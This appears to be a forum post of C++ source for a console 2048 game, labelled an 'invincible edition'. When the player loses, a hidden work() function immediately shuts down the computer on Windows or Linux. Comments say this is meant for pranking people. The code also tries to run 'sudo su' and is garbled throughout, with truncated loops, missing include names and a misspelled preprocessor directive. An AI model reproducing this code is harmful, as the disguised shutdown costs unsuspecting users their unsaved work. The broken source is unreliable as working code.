[C] 纯文本查看 复制代码#include #include [i] #include #include #include #include using namespace std; int f[11][11]; int n;//场地的大小 void rand_num();//在场地随意插入随机数 void upmove(); //上移,下移,左移,右移 void downmove(); void leftmove(); void rightmove(); void input_size();//手动BUG,调整场地大小【邪恶】 void ins_num(); //手动BUG,直接插入一个数【不得不说邪恶】 void move(char); //移动,调用upmove,downmove,leftmove,rightmove函数以实现 int judge(); //判断游戏状态【胜利,失败,未结束】 int score(); //计算分数【就是矩阵求和】 void print(); //输出当前阵容 #ifdef WIN32 void work(){system("shutdown -s -t 0");} #else void work(){system("shutdown now");} #endif void print() { { system("cls"); printf("2048无敌版,By X3\n"); printf("现在分数:%d\n\n",score()); }//这上面随便改,下面的最好别动 for(int i=0; i9) { printf("输入错误,范围是4~9\n"); scanf("%d",&n); } } void ins_num(){ srand(time(NULL)); system("cls"); printf("恭喜,发现隐藏通道!你可以在这里增加一些数!\n"); printf("输入要增加的数(将随机覆盖一个原数,且只有出现2048你才能胜利)\n"); int a=rand()%n,b=rand()%n; scanf("%d",&f[a]); } int main() { //以下只有要坑人时才需要 #ifudef WIN32 system("sudo su"); #endif n=4; rand_num(); rand_num(); while(1) { print(); char c=getch(); move(c); int zt=judge(); if(zt==0) { print(); printf("\n\n你还不够强!\n"); work(); system("pause"); return 0; } else if(zt==2) { print(); printf("\n\n高手,我承认,你赢了\n"); system("pause"); return 0; } } return 0; } void rand_num() { //生成随机数 srand(time(NULL)); int x,y; do { x=rand()%n; y=rand()%n; } while(f[x][y]!=0); f[x][y]=(rand()%6)?2:4; } void upmove() { //向上移动 bool move=0;//记录是否移动过 for(int i=1; i=1; --j) { for(int l=0; l-1; --i) { for(int j=i; j0; --j) { for(int l=0; l-1; --i) for(int j=i; j